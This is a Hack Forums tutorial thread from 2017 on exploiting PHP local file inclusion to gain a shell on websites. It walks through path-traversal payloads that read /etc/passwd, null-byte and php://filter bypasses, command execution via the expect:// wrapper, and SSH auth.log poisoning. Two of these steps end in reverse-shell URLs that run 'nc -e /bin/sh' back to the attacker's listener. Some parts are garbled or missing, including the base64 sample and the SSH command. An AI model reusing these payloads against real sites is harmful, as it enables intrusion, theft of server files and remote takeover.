

Forum:[Hack Forums](#)

Thread: [Comprehensive guide to gain a shell via LFI](#)

tettra - June 3, 2017, 8:59 am

Okay so this is going to be my first tutorial :)

What is Local file inclusion?

Local file inclusion is a vulnerability that effects allot of websites. Local file inclusion occurs when the developer of the site trusts user input and does not sanitise/validate it. If an attacker notices that there is a local file inclusion vulnerability the attacker can edit the request to receive a file on the server that the developer did not initially intend the public to see. Most attackers will try and get the /etc/passwd file this is because this file should always be readable by everyone.

local file inclusion can lead to some serious security issues.

Sensitive information disclosure (SID)

Denial of service (DoS)

Remote code execution (RCE)

What is Remote file inclusion?

If you have not guessed remote file inclusion happens when an attacker can retrieve a file that is not stored locally. This means that an attacker can upload some shell code and execute it gaining a shell.

Remote file inclusion shares the same serious vulnerabilities as local file inclusion but are often (in my experience) a little easier to exploit.

Local file inclusion occurs when we have a web address like Code
`www.somesite.com/page=../../etc/passwd`

Why does this happen?

Take a look at the PHP code below.

Code `require_once($LANG_PATH . '/' . $_GET['lang'] );`

We can see that the line of code gets the lang parameter and includes the file. The attacker does not have control over the start of the file location, this prevent remote file inclusion from happening. But if the attacker had control over this they could include a remote file

Local file inclusion exploitation

Basic

To exploit the code above the attacker would have to manipulate the get parameters in the URI. Lets say the URL is

Code `www.somesite.com/index.php?lang=eng`All an attacker would have to do is change the

parameter to a file that is on the server making sure that they have the correct directory.

Code `www.somesite.com/index.php?lang=../../../../etc/passwd`
This would include the file and you would get a response like this

Here inside the get request we have the lang parameter as `../../../../etc/passwd` but the parameter could be any of the following depending on where the root directory is.

Code `/etc/passwd`
`../etc/passwd`
`../../etc/passwd`
etc
This requires a bit of brute force.

PHP null byte injection

Now lets make things a little harder for an attacker. Lets reevaluate our PHP include code.

Code `require_once($LANG_PATH . '/' . $_GET['lang'] );` The code has now been changed to the following

Code `require_once($LANG_PATH . '/' . $_GET['lang'] . '.php');`
There has now been a file extension added on. This would still allow attackers to include php files but prevents us from accessing the `/etc/passwd` file. We can get around this with a clever trick that has been dubbed null byte injection. The PHP interpreter was written in C, and in C there is something called a null byte that is used to terminate a string. This null byte looks like this `%00`. The null byte can be used to terminate the string so that once it is interpreted the `.php` will be removed. We can now change our payload list to the following.

Code `/etc/passwd%00`

`../etc/passwd%00`

`../../etc/passwd%00`

`../../../../etc/passwd%00`

`../../../../etc/passwd%00`

etc..
Base64 encoder

`d2FzIGdvbmEgbWFrZSBhIFBIUCBqb2tllGJ1dCBpIGNvdWxkJ3QgaW5jbHVkZSBpdA==`

If the server is running anything above PHP 5.0 there is a PHP function that is used to encode something to base64. Why do we care? Well if the above two methods don't work then we need to try some other tricks to exploit LFI and this is one of them. Let's continue using our current url

Code `www.somesite.com/index.php?lang=/etc/passwd`
Now lets assume that the site is not vulnerable to a null byte injection but is vulnerable to local file inclusion. This would mean that the files that we can successfully include are going to have to fit the following criteria.

Have to be a php file

Have to have valid PHP syntax

This greatly reduces the number of files we can include. Another trick is to force PHP to encode the file with the aim of bypassing the filters. We will get the file encoded in base64 but that's fine as base64 can be easily be decoded. Now we can change the url to the following.

Code `www.somesite.com/index.php?lang=php://filter/convert.base64-encode/resource=/etc/passwd`
If we passed the filters then we should see a string like this somewhere in the source code.

Code

```
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA0KYmluOng6MToxOmJpbjovYmluOi91c3lvYmluL25vbG9naW4NCmRhZW1vbjp4OjI6MjpkYWVtb246LzovdXNyL2Jpbi9ub2xvZ2luDQptYWlsOng6ODoxMjptYWlsOi92YXlvc3Bvb2wvbWFPbDovdXNyL2Jpbi9ub2xvZ2luDQpmdHA6eDoxNDoxMTpmdHA6L3Nydi9mdHA6L3Vzci9iaW4vbm9sb2dpcG0KaHR0cDp4OjMzMzOmh0dHA6L3Nydi9odHRwOi91c3lvYmluL25vbG9naW4NCnV1aWRkOng6Njg6Njg6dXVpZGQ6LzovdXNyL2Jpbi9ub2xvZ2luDQpkYnVzOng6ODE6ODE6ZGJ1czovOi91c3lvYmluL25vbG9naW4NCm5vYm9keTp4Ojk5Ojk5Om5vYm9keTovOi91c3lvYmluL25vbG9naW4NCnN5c3RlbWQtam91cm5hbC1nYXRld2F5Ong6MTkxOjE5MTpzeXN0ZW1kLWpvdXJuYWwtZ2F0ZXdheTovOi91c3lvYmluL25vbG9naW4NCnN5c3RlbWQtdGltZXN5bmM6eDoxOTI6MTkyOnN5c3RlbWQtdGltZXN5bmM6LzovdXNyL2Jpbi9ub2xvZ2luDQpzeXN0ZW1kLW5ldHdvcms6eDoxOTM6MTkzOnN5c3RlbWQtbmV0d29yazovOi91c3lvYmluL25vbG9naW4NCnN5c3RlbWQTYnVzLXByb3h5Ong6MTk0OjE5NDpzeXN0ZW1kLWJ1cy1wcm94eTovOi91c3lvYmluL25vbG9naW4NCnN5c3RlbWQtcvZb2x2ZTp4OjE5NToxOTU6c3lzdGVtZC1yZXNvbHZI Oi86L3Vzci9iaW4vbm9sb2dpcG0Kc3lzdGVtZC1qb3VybmFsLXJlbW90ZTp4Ojk5Nzo5OTc6c3lzdGVtZCBKb3VybmFsIFJlbW90ZTovOi9zYmluL25vbG9naW4NCnN5c3RlbWQtam91cm5hbC11cGxvYWQ6eDo5OTk6OTk5OnN5c3RlbWQgSm91cm5hbCBVcGxvYWQ6Lzovc2Jpbi9ub2xvZ2luDQpzeXN0ZW1kLWNvcnVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcnUgRHVtcGVyOi86L3NiaW4vbm9sb2dpcG0KcnBjOng6MzI6MzI6UnBjYmluZCBEYWVtb246L2Rldi9udWxsOi9iaW4vZmFsc2UNCmRuc21hc3E6eDo5OTY6OTk2OmRuc21hc3EgZGFibW9uOi86L3NiaW4vbm9sb2dpcG0KbmJkOng6NDQ6NDQ6TmV0d29yayBCbG9jayBEZXZpY2U6L3Zhci9lbXB0eTovc2Jpbi9ub2xvZ2luDQphdmFoaTp4Ojg0Ojg0OmF2YWWhpOi86L2Jpbi9ub2xvZ2luDQo=
```

we can simply use a base64 decoder to get something similar to

PHP expect wrapper

Another wrapper that can aid the exploitation of a local file inclusion vulnerability is the expect wrapper. This wrapper is by default not installed but if it's installed then the wrapper will give the user direct access to some processes like stdio, stdout, stderr via PTY. This allow reading, writing and appending to files and is used by sysadmins to automate things like SSH'ing. If it's installed then we can do a trivial exploit to the following PHP code

Code `$language = $_GET['lang'];`

`include($language);` Simply by changing the url to the following will perform remote code execution.

Code `www.somesite.com/index.php?lang=eng` `www.somesite.com/index.php?lang=expect://ls` This could be used very quickly to gain a shell by starting a netcat listener on your machine

Code `nc -vlnp 4444` And then changing the url to

Code `www.somesite.com/index.php?lang=expect://nc -e /bin/sh (yourip) 4444`

Now we have our first LFI induce shell by remote code execution

Log poisoning

SSH log file

This is one of my personal favourites. The SSH log file that is located at `/var/log/auth.log` contains all the recent SSH login attempts. All you need to be able to perform this attack is

Have the right privileges to read the log file
Perform one of the above methods to include the file

The idea of the attack is to poison the SSH log file by trying to SSH the server with some PHP code and then include the file. This will run the PHP code and you should be able to gain remote code execution. To do this we first need to SSH to the server with the following command. Not make sure to type this correctly otherwise the previous malformed PHP code will still be in the log file and could prevent you from performing the attack correctly.

We don't need to enter a password just hit ctrl+c to exit. Now the log file should contain the PHP code we want to be executed on the server

Now when we request the `/var/log/auth.log` file we need to add an extra parameter to the url for the php code that we just placed in the log file. You can put any command you want on here but if you want a reverse shell start a listener on your system

Code `nc -vlnp 4444`
now all we need to do is go to this url

Code `www.somesite.com/index.php?lang=../../../../var/log/auth.log&command=nc -e /bin/sh (your ip) 4444`